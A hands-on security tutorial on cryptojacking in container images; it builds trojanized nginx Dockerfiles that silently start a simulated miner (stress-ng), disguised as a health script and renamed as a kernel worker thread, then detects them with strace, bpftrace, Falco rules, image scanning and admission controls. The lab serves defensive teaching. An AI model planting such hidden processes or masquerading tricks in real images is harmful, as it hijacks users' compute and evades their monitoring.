Cryptojacking — hiding cryptocurrency miners inside container images — is the most common supply chain attack in cloud-native environments. Attackers publish trojanized images on Docker Hub, compromise CI/CD pipelines to inject miners into legitimate builds, or modify base images to include hidden mining processes.
The miner consumes CPU/GPU resources, inflates cloud costs, and often serves as a foothold for deeper compromise. Because the miner runs inside a legitimate-looking container, it can evade basic monitoring for weeks.
This tutorial builds a complete attack-and-detect lab:
Every example uses a simulated miner (a CPU stress tool) — no actual mining software is used.
Attacker's workflow:
1. Fork a popular base image (node, python, nginx)
2. Add a cryptominer binary to the image
3. Modify the entrypoint to start the miner in the background
4. Publish to Docker Hub with a similar name (typosquatting)
e.g., "pythonn/python" instead of "python/python"
Victim's workflow:
1. Developer pulls "pythonn/python:3.11" (typo)
2. Builds their app on top of the trojanized base
3. Deploys to production
4. Miner runs silently, consuming 80%+ CPU
5. Cloud bill spikes, attacker earns cryptocurrency
The trojanized image works exactly like the real one — it just runs an extra process in the background.
# Just Docker for all examples
docker --version
We'll create a legitimate-looking nginx image that secretly runs a CPU stress tool in the background — simulating a cryptominer.
mkdir -p ~/cryptominer-lab && cd ~/cryptominer-lab
# First, see what a clean nginx image looks like
docker run --rm -d --name clean-nginx -p 8080:80 nginx:alpine
curl -s http://localhost:8080 | head -5
docker stats clean-nginx --no-stream
docker stop clean-nginx
Note the CPU usage: essentially 0% when idle.
Create Dockerfile.trojan:
FROM nginx:alpine
# Install a CPU stress tool (simulates a cryptominer)
RUN apk add --no-cache stress-ng
# Create a startup script that runs the "miner" in the background
RUN echo '#!/bin/sh' > /docker-entrypoint.d/99-miner.sh && \
echo '# Simulated cryptominer — runs stress-ng on 2 CPU cores' >> /docker-entrypoint.d/99-miner.sh && \
echo 'stress-ng --cpu 2 --cpu-method matrixprod --quiet &' >> /docker-entrypoint.d/99-miner.sh && \
chmod +x /docker-entrypoint.d/99-miner.sh
# The image looks and functions exactly like nginx:alpine
# But it secretly mines in the background
Build and run it:
docker build -t nginx-trojan -f Dockerfile.trojan .
docker run --rm -d --name trojan-nginx -p 8081:80 nginx-trojan
# The web server works perfectly — nothing suspicious
curl -s http://localhost:8081 | head -5
# <!DOCTYPE html>... (normal nginx page)
# Check CPU usage — the miner is burning CPU
docker stats trojan-nginx --no-stream
# NAME CPU % MEM USAGE
# trojan-nginx 180%+ ~10MB
Compare with the clean image: clean nginx uses ~0% CPU, the trojanized version uses 180%+ because stress-ng is running on 2 cores.
# See what's running inside
docker exec trojan-nginx ps aux
# PID USER COMMAND
# 1 root nginx: master process
# ... nginx nginx: worker process
# ... root stress-ng --cpu 2 --cpu-method matrixprod --quiet
# ... root stress-ng-cpu [run]
The stress-ng processes are clearly visible — but a real attacker would rename the process, use a custom binary, or run it at lower priority to avoid detection.
Real-world cryptominers use several evasion techniques. Let's build a more realistic version.
Create stealth-miner.sh:
#!/bin/sh
# Rename the process to look like a legitimate system process
exec -a "[kworker/0:1-events]" stress-ng --cpu 1 --cpu-method matrixprod --quiet
The process now shows up as [kworker/0:1-events] in ps output — which looks like a kernel worker thread.
#!/bin/sh
# Only use 30% of one CPU — harder to notice
exec -a "[kworker/0:1-events]" stress-ng --cpu 1 --cpu-load 30 --cpu-method matrixprod --quiet
At 30% CPU on one core, the miner is much harder to notice in monitoring dashboards.
Create Dockerfile.stealth:
FROM nginx:alpine
COPY stealth-miner.sh /usr/local/bin/stealth-miner.sh
RUN chmod +x /usr/local/bin/stealth-miner.sh
RUN echo '#!/bin/sh' > /docker-entrypoint.d/99-health.sh && \
echo '/usr/local/bin/stealth-miner.sh &' >> /docker-entrypoint.d/99-health.sh && \
chmod +x /docker-entrypoint.d/99-health.sh
docker build -t nginx-stealth -f Dockerfile.stealth .
docker run --rm -d --name stealth-nginx -p 8082:80 nginx-stealth
# Check — the process looks like a kernel thread
docker exec stealth-nginx ps aux | grep kworker
# root [kworker/0:1-events] <-- actually stress-ng
# Simple: check which container processes consume the most CPU
docker exec trojan-nginx sh -c 'cat /proc/*/stat 2>/dev/null | \
awk "{print \$1, \$2, \$14+\$15}" | sort -k3 -n | tail -5'
Real cryptominers connect to mining pools. Monitor connect() syscalls:
# Get the container PID
CPID=$(docker inspect --format '{{.State.Pid}}' trojan-nginx)
# Trace network connections from the container
sudo strace -f -p $CPID -e trace=connect 2>&1 | grep -v "ENOENT\|EINTR" &
# If using a real miner, you'd see:
# connect(5, {sa_family=AF_INET, sin_port=htons(3333),
# sin_addr=inet_addr("pool.minexmr.com")}, 16) = 0
# Detect processes whose comm name doesn't match their binary
sudo bpftrace -e '
tracepoint:sched:sched_process_exec {
printf("EXEC: pid=%d comm=%s binary=%s\n",
pid, comm, str(args->filename));
}
' 2>&1 | grep -v "runc\|containerd"
When the stealth miner starts, you'll see:
EXEC: pid=12345 comm=kworker/0:1-eve binary=/usr/bin/stress-ng
The binary is stress-ng but the comm name claims to be kworker — this mismatch is a strong indicator of process masquerading.
- rule: Cryptominer Process Detected
desc: >
Detect known cryptominer process names or CPU stress tools
running inside containers.
condition: >
spawned_process and container and
(proc.name in (xmrig, minerd, cpuminer, cgminer, bfgminer,
stress-ng, stress, cryptonight) or
proc.cmdline contains "stratum+tcp" or
proc.cmdline contains "mining" or
proc.cmdline contains "pool")
output: >
Potential cryptominer detected
(command=%proc.cmdline container=%container.name
image=%container.image.repository pod=%k8s.pod.name)
priority: CRITICAL
tags: [container, cryptomining, mitre_resource_hijacking]
- rule: Process Name Masquerading in Container
desc: >
Detect processes where the displayed name does not match the
actual binary — common evasion technique for cryptominers.
condition: >
spawned_process and container and
proc.name startswith "[" and
not proc.exe startswith "/usr/lib/linux"
output: >
Process masquerading detected — name looks like kernel thread
(displayed=%proc.name actual=%proc.exe command=%proc.cmdline
container=%container.name pod=%k8s.pod.name)
priority: HIGH
tags: [container, evasion, mitre_defense_evasion]
# Scan the trojanized image
trivy image nginx-trojan
# Output will show:
# - stress-ng package installed (unusual for nginx)
# - Any CVEs in the base image
# Compare with the clean image
trivy image nginx:alpine
The presence of stress-ng in an nginx image is suspicious — a human reviewer would flag this, but automated scanning needs explicit rules.
# Generate SBOM
syft nginx-trojan -o json > trojan-sbom.json
# Scan the SBOM
grype sbom:trojan-sbom.json
# Check for unexpected packages
syft nginx-trojan | grep -i "stress\|miner\|crypto"
# stress-ng 0.17.x apk
Create a CI/CD gate that checks for packages that shouldn't be in production images:
#!/bin/bash
# check-packages.sh — flag suspicious packages in container images
SUSPICIOUS="stress-ng stress xmrig minerd cpuminer nmap netcat socat"
IMAGE=$1
echo "Scanning $IMAGE for suspicious packages..."
PACKAGES=$(syft "$IMAGE" -o json | python3 -c "
import json, sys
data = json.load(sys.stdin)
for a in data.get('artifacts', []):
print(a['name'])
")
for pkg in $SUSPICIOUS; do
if echo "$PACKAGES" | grep -qi "$pkg"; then
echo "ALERT: Suspicious package found: $pkg"
exit 1
fi
done
echo "OK: No suspicious packages found"
chmod +x check-packages.sh
./check-packages.sh nginx-trojan
# ALERT: Suspicious package found: stress-ng
# Exit code: 1
./check-packages.sh nginx:alpine
# OK: No suspicious packages found
# Exit code: 0
Prevent trojanized images from running by requiring image signatures:
# Gatekeeper constraint: require images from trusted registries only
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sAllowedRepos
metadata:
name: trusted-registries
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
excludedNamespaces: [kube-system]
parameters:
repos:
- "gcr.io/your-project/"
- "your-registry.azurecr.io/"
- "docker.io/library/"
Even if a miner gets past scanning, Kubernetes resource limits cap its damage:
apiVersion: v1
kind: Pod
metadata:
name: limited-pod
spec:
containers:
- name: app
image: nginx:alpine
resources:
limits:
cpu: "500m" # Max 0.5 CPU cores
memory: "128Mi" # Max 128MB RAM
requests:
cpu: "100m"
memory: "64Mi"
With a 500m CPU limit, a cryptominer can only use half a core — drastically reducing its profitability while protecting your cloud bill.
# Check which pods are hitting CPU limits
kubectl top pods --all-namespaces | sort -k3 -rn | head -10
# Alert if a pod consistently uses >90% of its CPU limit
kubectl get pods --all-namespaces -o json | python3 -c "
import json, sys
data = json.load(sys.stdin)
for pod in data['items']:
for c in pod['spec'].get('containers', []):
limits = c.get('resources', {}).get('limits', {})
if 'cpu' in limits:
print(f\"{pod['metadata']['namespace']}/{pod['metadata']['name']}: CPU limit {limits['cpu']}\")
"
| Layer | Defense | What it catches |
|---|---|---|
| Build | Trivy/Grype image scanning | Known malicious packages, CVEs |
| Build | SBOM + suspicious package check | Unexpected tools (stress-ng, nmap) |
| Admission | Gatekeeper: trusted registries only | Typosquatted/untrusted images |
| Admission | Cosign: require signed images | Unsigned/tampered images |
| Runtime | Kubernetes CPU/memory limits | Caps miner resource consumption |
| Runtime | Falco: detect miner processes | Known miner binaries and pool connections |
| Runtime | eBPF: detect process masquerading | Renamed miner processes |
| Network | Egress policies: block mining pools | Outbound connections to mining infrastructure |
docker stop trojan-nginx stealth-nginx 2>/dev/null
docker rmi nginx-trojan nginx-stealth 2>/dev/null
rm -rf ~/cryptominer-lab
trivy image <your-image> and syft <your-image> against your production images